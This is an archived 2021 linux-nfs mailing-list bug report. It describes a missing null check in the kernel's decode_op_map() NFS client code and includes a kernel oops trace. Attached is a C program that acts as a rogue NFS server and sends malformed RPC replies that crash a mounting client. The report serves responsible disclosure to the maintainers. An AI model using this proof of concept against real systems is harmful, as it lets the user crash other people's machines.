public inbox for linux-nfs@vger.kernel.org
 help / color / mirror / Atom feed
From: rtm@csail.mit.edu
To: Trond Myklebust <trond.myklebust@hammerspace.com>,
	Anna Schumaker <anna.schumaker@netapp.com>
Cc: linux-nfs@vger.kernel.org
Subject: another NFS client RPC bug
Date: Thu, 04 Nov 2021 17:10:01 -0400	[thread overview]
Message-ID: <8046.1636060201@crash.local> (raw)

[-- Attachment #1: Type: text/plain, Size: 2957 bytes --]

In decode_op_map() in fs/nfs/nfs4xdr.c:

        uint32_t bitmap_words;
        ...;
        bitmap_words = be32_to_cpup(p++);
        if (bitmap_words > NFS4_OP_MAP_NUM_WORDS)
                return -EIO;
        ...;
        p = xdr_inline_decode(xdr, 4 * bitmap_words);
        for (i = 0; i < bitmap_words; i++)
                op_map->u.words[i] = be32_to_cpup(p++);

The return value from xdr_inline_decode() isn't checked, so there can be
a null-pointer dereference if there aren't enough bytes left in the RPC
message.

I've attached a program that produces the bug on my 5.15 machine:

# cc nfs_2.c
# ./a.out
mount:mount.nfs: timeout set for Thu Nov  4 21:10:28 2021
mount.nfs: trying text-based options 'vers=4.2,addr=127.0.0.1,clientaddr=127.0.0.1'
[   29.133142] random: fast init done
accept returned 4
proc 0
proc 1
[   19.298637] Unable to handle kernel access to user memory without uaccess routines at virtual address 0000000000000000
[   19.316686] Oops [#1]
[   19.322023] Modules linked in:
[   19.329310] CPU: 0 PID: 61 Comm: mount.nfs Not tainted 5.15.0-rc7-dirty #15
[   19.341196] Hardware name: ucbbar,riscvemu-bare (DT)
[   19.350236] epc : decode_op_map+0x78/0xba
[   19.357992]  ra : decode_op_map+0x62/0xba
[   19.365744] epc : ffffffff8022d93c ra : ffffffff8022d926 sp : ffffffd0005736e0
...
[   19.504650] status: 0000000200000121 badaddr: 0000000000000000 cause: 000000000000000d
[   19.518135] [<ffffffff8022d93c>] decode_op_map+0x78/0xba
[   19.528276] [<ffffffff80239db4>] nfs4_xdr_dec_exchange_id+0x1a6/0x57e
[   19.540304] [<ffffffff8071af74>] rpcauth_unwrap_resp_decode+0x12/0x1a
[   19.552386] [<ffffffff8071bc30>] rpcauth_unwrap_resp+0x12/0x1a
[   19.563960] [<ffffffff80711fcc>] call_decode+0x112/0x176
[   19.574123] [<ffffffff8071a4b0>] __rpc_execute+0x76/0x216
[   19.584286] [<ffffffff8071aace>] rpc_execute+0x58/0x7e
[   19.594443] [<ffffffff80713358>] rpc_run_task+0x12c/0x16c
[   19.604541] [<ffffffff80224eba>] nfs4_run_exchange_id+0x1d8/0x262
[   19.616149] [<ffffffff80224f68>] _nfs4_proc_exchange_id+0x24/0x2ba
[   19.627761] [<ffffffff8022cfc4>] nfs4_proc_exchange_id+0x30/0x50
[   19.639397] [<ffffffff8023ea3e>] nfs41_discover_server_trunking+0x1c/0xa8
[   19.651468] [<ffffffff80240d64>] nfs4_discover_server_trunking+0x7c/0x1e8
[   19.663549] [<ffffffff80249114>] nfs4_init_client+0x92/0xf6
[   19.673663] [<ffffffff80205412>] nfs_get_client+0x36a/0x394
[   19.683817] [<ffffffff80248844>] nfs4_set_client+0xd6/0x13e
[   19.693935] [<ffffffff80249830>] nfs4_create_server+0xb8/0x208
[   19.705529] [<ffffffff8024161c>] nfs4_try_get_tree+0x16/0x4c
[   19.717147] [<ffffffff80218bac>] nfs_get_tree+0x34a/0x3ac
[   19.727243] [<ffffffff8012bce4>] vfs_get_tree+0x18/0x88
[   19.737351] [<ffffffff8014a28e>] path_mount+0x4f4/0x77a
[   19.747521] [<ffffffff8014a560>] do_mount+0x4c/0x7e
[   19.757264] [<ffffffff8014a912>] sys_mount+0xca/0x14e
[   19.767418] [<ffffffff80003046>] ret_from_syscall+0x0/0x2


[-- Attachment #2: nfs_2.c --]
[-- Type: application/octet-stream, Size: 3006 bytes --]

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <sys/wait.h>
#include <sys/resource.h>

unsigned long long aaa[] = {
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0xc4ffffff00000000ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0xffffffffd5ffffffull,
0x0ull,
0x0ull,
0xfbfffffffeffffffull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
};
int iii = 0;

int readn(int fd, char *buf, int n) {
  int orig = n;
  while(n > 0){
    int cc = read(fd, buf, n);
    if(cc <= 0) { perror("read"); return -1; }
    n -= cc;
    buf += cc;
  }
  return orig;
}

int
main(){
  struct rlimit r;
  r.rlim_cur = r.rlim_max = 0;
  setrlimit(RLIMIT_CORE, &r);

  int s = socket(AF_INET, SOCK_STREAM, 0);
  struct sockaddr_in sin;
  memset(&sin, 0, sizeof(sin));
  sin.sin_family = AF_INET;
  sin.sin_port = htons(2049);
  if(bind(s, (struct sockaddr *)&sin, sizeof(sin)) < 0){
    perror("bind"); exit(1);
  }
  listen(s, 10);
  sync(); sleep(1); sleep(1); sleep(1);

  if(fork() == 0){
    if(system("echo -n mount: ; mount -v -t nfs 127.0.0.1:/tmp /mnt") == 0){
      system("echo -n ls: ; ls -l /mnt/. /mnt/z");
      system("echo -n echo: ; echo hi > /mnt/x");
      system("echo -n umount: ; umount /mnt");
    }
    exit(0);
  }

  if(fork() == 0){
#define NAA 64
    unsigned long long aa[NAA];
    for(int i = 0; i < NAA; i++) aa[i] = aaa[iii++];
    int ii = 0;

    socklen_t sinlen = sizeof(sin);
    int s1 = accept(s, (struct sockaddr *) &sin, &sinlen);
    printf("accept returned %d\n", s1);
    if(s1 < 0) { perror("accept"); exit(1); }
    close(s);
  
    while(1){
      unsigned int ilen;
      if(readn(s1, (char*)&ilen, 4) < 0) break;
      ilen = ntohl(ilen);
      ilen &= 0x7fffffff;
      char ibuf[1024];
      if(readn(s1, (char*)ibuf, ilen) < 0) break;
      int xid = *(int*)(ibuf+0);
      int proc = ntohl(*(int*)(ibuf+20));
      printf("proc %d\n", proc);
      
      char obuf[128];
      int olen = sizeof(obuf);
      int dummy = htonl(olen | 0x80000000);
      write(s1, &dummy, 4);
      memset(obuf, 0xff, sizeof(obuf));
      for(int i = 0; i+8 <= sizeof(obuf) && ii < NAA; i += 8)
        *(unsigned long long *)(obuf + i) ^= aa[ii++];
      *(int*)(obuf+0) = xid;
      *(int*)(obuf+4) = htonl(1); // REPLY
      *(int*)(obuf+8) = htonl(0); // MSG_ACCEPTED
      *(int*)(obuf+12) = htonl(0); // opaque_auth flavor = AUTH_NULL
      *(int*)(obuf+16) = htonl(0); // opaque_auth length
      *(int*)(obuf+20) = htonl(0); // SUCCESS
      if(write(s1, obuf, olen)<=0) perror("write");
    }
    exit(1);
  }
  close(s);
  sleep(7);
}

                 reply	other threads:[~2021-11-04 21:10 UTC|newest]

Thread overview: [no followups] expand[flat|nested]  mbox.gz  Atom feed

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=8046.1636060201@crash.local \
    --to=rtm@csail.mit.edu \
    --cc=anna.schumaker@netapp.com \
    --cc=linux-nfs@vger.kernel.org \
    --cc=trond.myklebust@hammerspace.com \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox